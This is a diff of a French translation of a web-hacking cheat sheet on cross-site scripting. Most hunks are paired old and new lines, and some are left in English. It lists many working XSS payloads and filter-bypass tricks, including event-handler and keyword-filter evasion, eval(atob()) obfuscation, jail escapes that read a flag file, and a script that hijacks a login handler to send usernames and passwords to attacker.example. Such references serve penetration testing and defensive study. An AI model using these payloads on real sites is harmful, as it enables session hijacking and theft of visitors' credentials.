Notez que si vous essayez d'**utiliser les deux** `URLencode + HTMLencode` dans n'importe quel ordre pour encoder la **payload**, cela ne **fonctionnera** pas, mais vous pouvez **les mélanger à l'intérieur de la payload**.
|
||||
Notez que si vous essayez d'**utiliser à la fois** `URLencode + HTMLencode` dans n'importe quel ordre pour encoder la **payload** cela **ne fonctionnera pas**, mais vous pouvez **les mélanger à l'intérieur de la payload**.
|
||||
|
||||
**Utilisation de Hex et Octal encode avec `javascript:`**
|
||||
**Utiliser Hex et Octal encode avec `javascript:`**
|
||||
|
||||
Vous pouvez utiliser **Hex** et **Octal encode** à l'intérieur de l'attribut `src` de `iframe` (au moins) pour déclarer **HTML tags to execute JS**:
|
||||
Vous pouvez utiliser **Hex** et **Octal encode** à l'intérieur de l'attribut `src` d'un `iframe` (au moins) pour déclarer des **HTML tags pour exécuter du JS**:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
@ -391,10 +391,10 @@ Si vous pouvez injecter n'importe quelle URL dans une balise arbitraire **`<a hr
|
||||
../reverse-tab-nabbing.md
|
||||
{{#endref}}
|
||||
|
||||
### Contournement des gestionnaires d'événements 'on'
|
||||
### Contournement des gestionnaires d'événements "on"
|
||||
|
||||
Tout d'abord, consultez cette page ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) pour des **gestionnaires d'événements 'on'** utiles.\
|
||||
Si une liste noire vous empêche de créer ces gestionnaires d'événements, vous pouvez essayer les contournements suivants :
|
||||
Tout d'abord consultez cette page ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) pour des **gestionnaires d'événements "on"** utiles.\
|
||||
Si une blacklist vous empêche de créer ces gestionnaires d'événements, vous pouvez essayer les contournements suivants :
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
@ -409,14 +409,14 @@ Firefox: %09 %20 %28 %2C %3B
|
||||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
|
||||
### XSS dans "Unexploitable tags" (hidden input, link, canonical, meta)
|
||||
|
||||
D'après [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **il est maintenant possible d'abuser des hidden inputs avec :**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
```
|
||||
Et dans les **balises meta** :
|
||||
Et dans les **meta tags**:
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta
|
||||
@ -430,15 +430,15 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Depuis [**here**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter un **XSS payload inside a hidden attribute**, à condition de **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sous Firefox Windows/Linux la combinaison est **ALT+SHIFT+X** et sur OS X elle est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison différente en utilisant une touche différente dans l'access key attribute. Voici le vecteur :
|
||||
Depuis [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Vous pouvez exécuter un **XSS payload inside a hidden attribute**, à condition de pouvoir **convaincre** la **victim** d'appuyer sur la **combinaison de touches**. Sur Firefox sous Windows/Linux la combinaison de touches est **ALT+SHIFT+X** et sur OS X elle est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut access key. Voici le vecteur:
|
||||
```html
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
**Le XSS payload sera quelque chose comme ceci : `" accesskey="x" onclick="alert(1)" x="`**
|
||||
**La charge XSS ressemblera à ceci : `" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
### Blacklist Bypasses
|
||||
|
||||
Plusieurs astuces utilisant différents encodages ont déjà été exposées dans cette section. Revenez en arrière pour apprendre où vous pouvez les utiliser :
|
||||
Plusieurs astuces utilisant des encodages différents ont déjà été présentées dans cette section. Retournez en arrière pour apprendre où vous pouvez utiliser :
|
||||
|
||||
- **HTML encoding (HTML tags)**
|
||||
- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
|
||||
@ -448,47 +448,47 @@ Plusieurs astuces utilisant différents encodages ont déjà été exposées dan
|
||||
|
||||
**Bypasses for HTML tags and attributes**
|
||||
|
||||
Read the[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
|
||||
Lisez la[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
|
||||
|
||||
**Bypasses for JavaScript code**
|
||||
|
||||
Read the J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
|
||||
Lisez la J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
If you found a **XSS in a very small part** of the web that requires some kind of interaction (maybe a small link in the footer with an onmouseover element), you can try to **modify the space that element occupies** to maximize the probabilities of have the link fired.
|
||||
Si vous trouvez un **XSS dans une très petite partie** du site qui nécessite une interaction (par exemple un petit lien dans le footer avec un onmouseover), vous pouvez essayer de **modifier l'espace occupé par cet élément** pour maximiser les probabilités que le lien soit déclenché.
|
||||
|
||||
For example, you could add some styling in the element like: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
Par exemple, vous pourriez ajouter du style à l'élément comme : `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example
|
||||
Mais, si le WAF filtre l'attribut style, vous pouvez utiliser des CSS Styling Gadgets, donc si vous trouvez, par exemple
|
||||
|
||||
> .test {display:block; color: blue; width: 100%\}
|
||||
|
||||
and
|
||||
et
|
||||
|
||||
> \#someid {top: 0; font-family: Tahoma;}
|
||||
|
||||
Now you can modify our link and bring it to the form
|
||||
Maintenant vous pouvez modifier notre lien et le rendre sous la forme
|
||||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
This trick was taken from [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
Cette astuce provient de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
|
||||
|
||||
## Injection à l'intérieur du code JavaScript
|
||||
## Injection dans le code JavaScript
|
||||
|
||||
Dans ce cas votre **input** va être **reflété à l'intérieur du JS code** d'un fichier `.js` ou entre des balises `<script>...</script>` ou entre des événements HTML qui peuvent exécuter du code JS ou entre des attributs qui acceptent le protocole `javascript:`.
|
||||
Dans ce cas votre **input** va être **réfléchi à l'intérieur du code JS** d'un fichier `.js` ou entre des balises `<script>...</script>` ou entre des événements HTML qui peuvent exécuter du code JS ou entre des attributs qui acceptent le protocole `javascript:`.
|
||||
|
||||
### Échapper la balise \<script>
|
||||
|
||||
Si votre code est inséré au sein de `<script> [...] var input = 'reflected data' [...] </script>` vous pouvez facilement fermer prématurément la balise `<script>` :
|
||||
Si votre code est inséré dans `<script> [...] var input = 'reflected data' [...] </script>` vous pouvez facilement **échapper la fermeture de la balise `<script>`** :
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Notez que dans cet exemple nous n'avons **même pas fermé l'apostrophe**. Ceci s'explique par le fait que **l'analyse HTML est effectuée en premier par le navigateur**, ce qui implique l'identification des éléments de la page, y compris les blocs de script. L'analyse de JavaScript pour comprendre et exécuter les scripts intégrés n'est effectuée qu'ensuite.
|
||||
Notez que dans cet exemple nous **n'avons même pas fermé l'apostrophe**. Cela s'explique par le fait que **l'analyse HTML est effectuée en premier par le navigateur**, qui consiste à identifier les éléments de la page, y compris les blocs de script. L'analyse du JavaScript pour comprendre et exécuter les scripts intégrés n'est effectuée qu'ensuite.
|
||||
|
||||
### Dans le code JS
|
||||
|
||||
Si `<>` sont sanitisés vous pouvez toujours **échapper la chaîne** là où votre entrée est **située** et **exécuter du JS arbitraire**. Il est important de **corriger la syntaxe JS**, car s'il y a des erreurs, le code JS ne sera pas exécuté:
|
||||
Si `<>` sont assainis, vous pouvez quand même **échapper la chaîne** là où votre entrée est **située** et **exécuter du JS arbitraire**. Il est important de **corriger la syntaxe JS**, car s'il y a des erreurs, le code JS ne sera pas exécuté :
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
@ -496,7 +496,7 @@ Si `<>` sont sanitisés vous pouvez toujours **échapper la chaîne** là où vo
|
||||
```
|
||||
#### JS-in-JS string break → inject → repair pattern
|
||||
|
||||
Lorsque l'entrée utilisateur se retrouve à l'intérieur d'une chaîne JavaScript entre guillemets (e.g., server-side echo into an inline script), vous pouvez terminer la chaîne, inject code, et réparer la syntaxe pour que l'analyse reste valide. Squelette générique :
|
||||
Lorsque user input se retrouve à l'intérieur d'une quoted JavaScript string (p.ex., server-side echo dans un inline script), vous pouvez terminer la string, injecter du code et réparer la syntaxe pour que le parsing reste valide. Squelette générique :
|
||||
```
|
||||
" // end original string
|
||||
; // safely terminate the statement
|
||||
@ -507,14 +507,14 @@ Exemple de modèle d'URL lorsque le paramètre vulnérable est reflété dans un
|
||||
```
|
||||
?param=test";<INJECTION>;a="
|
||||
```
|
||||
Cela exécute le JS de l'attaquant sans avoir besoin de toucher le contexte HTML (pure JS-in-JS). Combinez avec les blacklist bypasses ci-dessous lorsque les filters bloquent des keywords.
|
||||
Cela exécute du JS de l'attaquant sans avoir besoin de toucher le contexte HTML (pure JS-in-JS). Combinez avec les blacklist bypasses ci‑dessous lorsque des filtres bloquent des mots-clés.
|
||||
|
||||
### Template literals ``
|
||||
|
||||
Pour construire des **strings**, en plus des guillemets simples et doubles, JS accepte aussi les **backticks** **` `` `**. C'est ce qu'on appelle template literals car ils permettent d'**embedded JS expressions** en utilisant la syntaxe `${ ... }`.\
|
||||
Par conséquent, si vous constatez que votre input est **reflected** à l'intérieur d'une chaîne JS qui utilise des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** :
|
||||
Pour construire des **chaînes**, en plus des guillemets simples et doubles, JS accepte aussi les **backticks** **` `` `**. Cela s'appelle template literals car ils permettent d'**inclure des expressions JS** en utilisant la syntaxe `${ ... }`.\
|
||||
Ainsi, si vous constatez que votre entrée est **réfléchie** dans une chaîne JS qui utilise des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** :
|
||||
|
||||
Cela peut être **abusé** en utilisant:
|
||||
Ceci peut être **exploité** en utilisant:
|
||||
```javascript
|
||||
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
|
||||
```
|
||||
@ -526,21 +526,21 @@ return loop
|
||||
}
|
||||
loop``
|
||||
```
|
||||
### Exécution de code encodé
|
||||
### Exécution de code encodée
|
||||
```html
|
||||
<script>\u0061lert(1)</script>
|
||||
<svg><script>alert('1')
|
||||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
#### Deliverable payloads with eval(atob()) and scope nuances
|
||||
#### Payloads livrables avec eval(atob()) et nuances de portée
|
||||
|
||||
Pour garder les URLs plus courtes et contourner des filtres de mots-clés naïfs, vous pouvez encoder votre logique réelle en base64 et l'évaluer avec `eval(atob('...'))`. Si un filtrage simple par mots-clés bloque des identifiants comme `alert`, `eval`, ou `atob`, utilisez des identifiants échappés en Unicode qui s'exécutent de manière identique dans le navigateur mais évitent les filtres de correspondance de chaînes :
|
||||
Pour garder les URLs plus courtes et contourner des filtres de mots-clés naïfs, vous pouvez encoder votre logique réelle en base64 et l'évaluer avec `eval(atob('...'))`. Si un filtrage basique de mots-clés bloque des identifiants tels que `alert`, `eval` ou `atob`, utilisez des identifiants échappés en Unicode qui se compilent de manière identique dans le navigateur mais échappent aux filtres basés sur la correspondance de chaînes :
|
||||
```
|
||||
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
|
||||
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
|
||||
```
|
||||
Nuance importante concernant le scoping : `const`/`let` déclarés à l'intérieur de `eval()` sont à portée de bloc et NE créent PAS de variables globales ; ils ne seront pas accessibles aux scripts ultérieurs. Utilisez un élément `<script>` injecté dynamiquement pour définir des hooks globaux non réassignables lorsque nécessaire (par ex., to hijack a form handler) :
|
||||
Nuance importante de portée : les `const`/`let` déclarés à l'intérieur de `eval()` sont à portée de bloc et NE créent PAS de globals ; ils ne seront pas accessibles aux scripts ultérieurs. Utilisez un élément `<script>` injecté dynamiquement pour définir des hooks globaux non réaffectables lorsque nécessaire (e.g., to hijack a form handler):
|
||||
```javascript
|
||||
var s = document.createElement('script');
|
||||
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
|
||||
@ -548,13 +548,13 @@ document.head.appendChild(s);
|
||||
```
|
||||
Référence: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
|
||||
|
||||
### Encodage Unicode pour l'exécution JS
|
||||
### Unicode Encode JS execution
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
alert(1)
|
||||
```
|
||||
### JavaScript techniques de bypass blacklists
|
||||
### Techniques de bypass de blacklists en JavaScript
|
||||
|
||||
**Strings**
|
||||
```javascript
|
||||
@ -592,7 +592,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**JavaScript commentaires (tiré de** [**JavaScript Comments**](#javascript-comments) **astuce)**
|
||||
**JavaScript comments (d'après** [**JavaScript Comments**](#javascript-comments) **trick)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
@ -600,7 +600,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
||||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**JavaScript new lines (d'après** [**JavaScript new line**](#javascript-new-lines) **astuce)**
|
||||
**Sauts de ligne JavaScript (d'après** [**JavaScript new line**](#javascript-new-lines) **astuce)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10)
|
||||
@ -612,7 +612,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
|
||||
String.fromCharCode(8233)
|
||||
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
|
||||
```
|
||||
**Espaces blancs en JavaScript**
|
||||
**JavaScript espaces blancs**
|
||||
```javascript
|
||||
log=[];
|
||||
function funct(){}
|
||||
@ -777,18 +777,18 @@ top[8680439..toString(30)](1)
|
||||
```
|
||||
## **DOM vulnerabilities**
|
||||
|
||||
Il existe du **JS code** qui utilise des **données non sécurisées contrôlées par un attaquant** comme `location.href`. Un attaquant pourrait abuser de cela pour exécuter du JS arbitraire.\
|
||||
**En raison de l'ampleur de l'explication de** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
|
||||
Il existe du **JS code** qui utilise des **données non sûres contrôlées par un attacker** comme `location.href`. Un attacker pourrait abuser de cela pour exécuter du code JS arbitraire.\
|
||||
**En raison de l'extension de l'explication de** [**DOM vulnerabilities elle a été déplacée vers cette page**](dom-xss.md)**:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
Là, vous trouverez une **explication détaillée de ce que sont les DOM vulnerabilities, comment elles sont provoquées, et comment les exploiter**.\
|
||||
De plus, n'oubliez pas qu'**à la fin de l'article mentionné** vous pouvez trouver une explication sur [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
|
||||
Vous y trouverez une **explication détaillée de ce que sont les DOM vulnerabilities, comment elles sont provoquées, et comment les exploiter**.\
|
||||
De plus, n'oubliez pas qu'**à la fin du post mentionné** vous pouvez trouver une explication sur [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
|
||||
|
||||
### Amélioration de Self-XSS
|
||||
### Escalade de Self-XSS
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
@ -799,11 +799,11 @@ If you can trigger a XSS by sending the payload inside a cookie, this is usually
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
{{#endref}}
|
||||
|
||||
You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
Vous pouvez trouver un excellent exemple d'abus de cette technique dans [**cet article de blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
|
||||
### Envoyer votre session à l'admin
|
||||
### Sending your session to the admin
|
||||
|
||||
Il est possible qu'un utilisateur partage son profil avec l'admin ; si le self XSS se trouve dans le profil de l'utilisateur et que l'admin y accède, il déclenchera la vulnérabilité.
|
||||
Peut-être qu'un user peut partager son profil avec l'admin ; si le self XSS se trouve dans le profil du user et que l'admin y accède, il déclenchera la vulnérabilité.
|
||||
|
||||
### Session Mirroring
|
||||
|
||||
@ -813,9 +813,20 @@ You could make the **administrator trigger your self XSS** and steal his cookies
|
||||
|
||||
## Other Bypasses
|
||||
|
||||
### Contourner la sanitisation via WASM linear-memory template overwrite
|
||||
|
||||
When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as "<article><p>%.*s</p></article>" to "<img src=1 onerror=%.*s>" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
|
||||
|
||||
Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
|
||||
|
||||
{{#ref}}
|
||||
wasm-linear-memory-template-overwrite-xss.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
### Normalised Unicode
|
||||
|
||||
Vous pouvez vérifier si les **reflected values** sont **unicode normalized** côté serveur (ou côté client) et abuser de cette fonctionnalité pour bypasser des protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
Vous pouvez vérifier si les **reflected values** sont **unicode normalized** sur le server (ou sur le client) et abuser de cette fonctionnalité pour bypasser les protections. [**Trouvez un exemple ici**](../unicode-injection/index.html#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER_VALIDATE_EMAIL flag Bypass
|
||||
```javascript
|
||||
@ -823,7 +834,7 @@ Vous pouvez vérifier si les **reflected values** sont **unicode normalized** c
|
||||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
En raison du **RoR mass assignment**, des guillemets sont insérés dans le HTML, puis la restriction sur les guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
|
||||
En raison de **RoR mass assignment**, des guillemets sont insérés dans le HTML, puis la restriction sur les guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
|
||||
Exemple de formulaire ([from this report](https://hackerone.com/reports/709336)), si vous envoyez le payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
@ -832,7 +843,7 @@ La paire "Key","Value" sera renvoyée comme ceci :
|
||||
```
|
||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||
```
|
||||
Ensuite, l'attribut onfocus sera inséré et XSS se produira.
|
||||
Ensuite, l'attribut onfocus sera inséré et XSS se produit.
|
||||
|
||||
### Combinaisons spéciales
|
||||
```html
|
||||
@ -866,14 +877,14 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS with header injection in a 302 response
|
||||
|
||||
Si vous trouvez que vous pouvez **injecter des en-têtes dans une réponse 302 Redirect** vous pouvez essayer de **faire exécuter du JavaScript arbitraire par le navigateur**. Ce n'est **pas trivial** car les navigateurs modernes n'interprètent pas le corps de la réponse HTTP si le code de statut HTTP est 302, donc un simple payload cross-site scripting est inutile.
|
||||
Si vous découvrez que vous pouvez **injecter des en-têtes dans une réponse 302 Redirect** vous pouvez essayer de **forcer le navigateur à exécuter du JavaScript arbitraire**. Ce n'est **pas trivial** car les navigateurs modernes n'interprètent pas le corps de la réponse HTTP si le code de statut est 302, donc un simple payload de cross-site scripting est inutile.
|
||||
|
||||
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\
|
||||
Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
|
||||
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\
|
||||
Protocoles connus : `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
|
||||
|
||||
### Only Letters, Numbers and Dots
|
||||
### Uniquement lettres, chiffres et points
|
||||
|
||||
Si vous pouvez indiquer le **callback** que javascript va **exécuter**, limité à ces caractères. [**Read this section of this post**](#javascript-function) pour découvrir comment abuser de ce comportement.
|
||||
Si vous pouvez indiquer le **callback** que javascript va **exécuter**, limité à ces caractères. [**Read this section of this post**](#javascript-function) pour apprendre comment abuser de ce comportement.
|
||||
|
||||
### Valid `<script>` Content-Types to XSS
|
||||
|
||||
@ -881,7 +892,7 @@ Si vous pouvez indiquer le **callback** que javascript va **exécuter**, limité
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
The only **Content-Type**s that will support Chrome to run a **loaded script** are the ones inside the const **`kSupportedJavascriptTypes`** from [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
Les seuls **Content-Type**s qui permettront à Chrome d'exécuter un **script chargé** sont ceux contenus dans la const **`kSupportedJavascriptTypes`** provenant de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -903,16 +914,16 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
};
|
||||
|
||||
```
|
||||
### Types de scripts pour XSS
|
||||
### Types de script pour XSS
|
||||
|
||||
(Depuis [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Alors, quels types peuvent être indiqués pour charger un script ?
|
||||
(Depuis [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Alors, quels types pourraient être indiqués pour charger un script ?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
La réponse est :
|
||||
|
||||
- **module** (par défaut, rien à expliquer)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles est une fonctionnalité qui permet de regrouper un ensemble de données (HTML, CSS, JS…) dans un fichier **`.wbn`**.
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles est une fonctionnalité qui permet de regrouper des données (HTML, CSS, JS…) dans un fichier **`.wbn`**.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -939,9 +950,9 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
Ce comportement a été utilisé dans [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque sur eval et en abuser, ce qui peut déclencher du XSS.
|
||||
Ce comportement a été utilisé dans [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque vers eval ; cet abus peut déclencher XSS.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité sert principalement à résoudre certains problèmes causés par pre-rendering. Elle fonctionne comme suit :
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Elle fonctionne comme suit :
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -957,7 +968,7 @@ Ce comportement a été utilisé dans [**this writeup**](https://github.com/zwad
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### Web Content-Types pour XSS
|
||||
### Web Content-Types to XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Les types de contenu suivants peuvent exécuter du XSS dans tous les navigateurs :
|
||||
|
||||
@ -966,15 +977,15 @@ Ce comportement a été utilisé dans [**this writeup**](https://github.com/zwad
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? pas dans la liste mais je pense l'avoir vu dans un CTF)
|
||||
- text/plain (?? not in the list but I think I saw this in a CTF)
|
||||
- application/rss+xml (off)
|
||||
- application/atom+xml (off)
|
||||
|
||||
Dans d'autres navigateurs, d'autres **`Content-Types`** peuvent être utilisés pour exécuter du JS arbitraire, voir : [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### Type de contenu xml
|
||||
### xml Content Type
|
||||
|
||||
Si la page renvoie un content-type text/xml il est possible d'indiquer un namespace et d'exécuter du JS arbitraire :
|
||||
Si la page renvoie un Content-Type text/xml, il est possible d'indiquer un espace de noms et d'exécuter du JS arbitraire :
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -984,9 +995,9 @@ Si la page renvoie un content-type text/xml il est possible d'indiquer un namesp
|
||||
```
|
||||
### Modèles de remplacement spéciaux
|
||||
|
||||
Lorsque quelque chose comme **`"some {{template}} data".replace("{{template}}", <user_input>)`** est utilisé, l'attaquant peut utiliser [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) pour tenter de contourner certaines protections : `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
Lorsque quelque chose comme **`"some {{template}} data".replace("{{template}}", <user_input>)`** est utilisé. L'attaquant pourrait utiliser [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) pour tenter de contourner certaines protections : `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
Par exemple, dans [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), cela a été utilisé pour **échapper une chaîne JSON** à l'intérieur d'un script et exécuter du code arbitraire.
|
||||
For example in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), this was used to **échapper une chaîne JSON** inside a script and execute arbitrary code.
|
||||
|
||||
### Chrome Cache to XSS
|
||||
|
||||
@ -997,7 +1008,7 @@ chrome-cache-to-xss.md
|
||||
|
||||
### XS Jails Escape
|
||||
|
||||
Si vous n'avez qu'un ensemble limité de caractères à utiliser, consultez ces autres solutions valides pour les problèmes XSJail :
|
||||
Si vous n'avez qu'un ensemble limité de chars à utiliser, consultez ces autres solutions valides pour les problèmes XSJail :
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
@ -1028,14 +1039,14 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Si **everything is undefined** avant d'exécuter du code non fiable (comme dans [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), il est possible de générer des objets utiles "à partir de rien" pour abuser de l'exécution de code arbitraire non fiable :
|
||||
Si **tout est undefined** avant d'exécuter du code non fiable (comme dans [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) il est possible de générer des objets utiles « à partir de rien » pour abuser de l'exécution arbitraire de code non fiable :
|
||||
|
||||
- Using import()
|
||||
- En utilisant import()
|
||||
```javascript
|
||||
// although import "fs" doesn’t work, import('fs') does.
|
||||
